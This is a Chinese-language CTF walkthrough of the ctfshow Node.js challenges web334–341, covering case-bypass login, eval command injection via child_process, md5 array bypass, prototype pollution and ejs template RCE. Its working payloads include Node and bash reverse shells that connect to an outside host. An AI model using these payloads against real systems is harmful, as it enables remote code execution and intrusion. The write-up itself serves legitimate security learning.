前言
早该开刷了(
web334
大小写绕过
下载附件,解压获得js源码
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
审计代码,可以发现是一个登录系统,user.js已经给了我们账号和密码
看login.js,只要登录成功就能获得flag
但是findUser
方法对输入的内容进行了限制
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
要求name不能等于CTFSHOW
,而传入的name会被强制转换为大写,passwd只要正确即可
那做法就很明显了,利用大小写绕过即可,name传入CTFshow
,passwd传入123456
然后登录就能回显flag
web335(命令执行)
命令执行
f12发现hint:<!--/?eval=-->
那考点明显就是命令执行
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function
而在nodejs的api中,存在child_process子进程的方法能够执行shell
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
在eval函数的参数中可以构造require(‘child_process’).exec(‘’);来进行调用。
使用exec
方法,但是发现返回的是 [object Object]
这是因为exec的同步和异步区别就是在于回显值,所谓异步就是不阻碍程序运行,所以自然不可能产生回显
所以这里使用execSync
方法
?eval=require("child_process").execSync('ls')
直接cat即可获取flag
web336
命令执行
加了过滤,上一题的payload用不了了
法1
测试发现是过滤了exec
尝试通过拼接的方式绕过(%2B == +)
先在本地的交互环境下测试看看可不可行
可以的,那我们直接进行命令执行
?eval=require("child_process")['exe'%2B'cSync']('ls')
成功列出目录,直接cat即可
法2
除了execSync
以外,还有spawnSync
方法可以用
child_process.spawnSync(command[, args][, options])
所以payload如下:
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
法3
文件操作
?eval=require('fs').readdirSync('.'); // 读取目录的内容
?eval=require('fs').readFileSync('fl001g.txt'); // 返回对应路径的内容
web337(nodejs特性)
md5数组绕过
题目源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
审计代码,得知我们需要get请求传入a,b参数,满足长度相等,值不等,与flag拼接后的值的md5相等
猜测nodejs也可以像php一样用数组绕过
payload:
?a[]=&b[]=
成功得到flag
web338(原型链污染)
原型链污染
题目是一个登录界面
下载题目源码
app.js
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var app = express();
//session
var identityKey = 'auth';
app.use(session({
name: identityKey,
secret: 'ctfshow_session_secret',
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
}
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
app.use('/login', loginRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
跟进到index.js
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
res.render('index', { title: 'Express' });
});
module.exports = router;
和login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
审计代码,要想获得flag就需要让secert.ctfshow==='36dboy'
但是secert是一个空对象,同时我们注意到存在 utils.copy(user,req.body);
,将 user
对象的属性copy到 req.body
对象中
而user和secert属于同一个父类object,所以这里要使用原型链污染
污染user让secert.ctfshow
为36dboy
注:由于nodejs的post请求全在请求体中,需要抓包在burp发出才行
payload
{"username":"1","password":"1","__proto__":{"ctfshow":"36dboy"}}
web339(原型链污染变量/变量覆盖)
原型链污染
login.js变了
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
只有secert.ctfshow
的值和flag相等才能得到flag,那这个判断基本上没有办法绕过
还多了个api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
出现了一个render
函数,实际上是用来渲染api模板的,里面还传递了一个Function(query)(query)
,可以知道这里会调用匿名函数
我们测试一下:
>function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
>user = {}
>body = JSON.parse('{"__proto__":{"query":"return 514"}}');
>copy(user, body)
>{query: Function(query)(query)}
函数成功返回了514,可知这个匿名函数被原型链污染后可以执行任意代码
所以我们可以通过污染query
对象来执行命令
直接考虑反弹shell,这里建议使用nodejs原生的socket来弹
{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(57746, '76135132qk.imdo.co', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}
那么我们先抓包/login接口,把payload传进去
此时query就被污染了
接下来访问/api接口触发命令执行,注意要以post请求访问
这样就弹shell了
flag在环境变量里面
web340(双层污染)
看到一个很恰当的图就在这里贴一下
依旧是直接看login.js,api.js不变
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
这次条件变成了user.userinfo.isAdmin
,copy里面的user对象后面也套了一个userinfo
这里user.userinfo.isAdmin写在了函数里面,我们不能直接污染这个的值
本地测看看:
可以发现第一层外面是一个对象,也就是构造函数,第二层才是我们要的object
所以要进行两次__proto__
实现双层污染
测试一下:
{"__proto__":{"__proto__":{"isAdmin":true}}}
污染成功,那我们同理可以利用api.js里面的render
函数,污染query
进行命令执行
payload:
{"__proto__":{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(57746, '76135132qk.imdo.co', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}
依旧是在/login污染,在/api触发反弹shell
web341(ejs rce)
依旧是双层污染
但是这题把api.js去掉了,我们用不了变量覆盖
那么剩下能做的就是ejs污染了,用到的是ejs模板opts.OutPutFuntcion属性的污染
payload:这里我直接调用bash -c
来弹shell了
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/76135132qk.imdo.co/57746 0>&1\"');var __tmp2"}}}
传入payload之后,请求一个会调用 render
方法的接口,这里用/
就行
然后就能弹shell了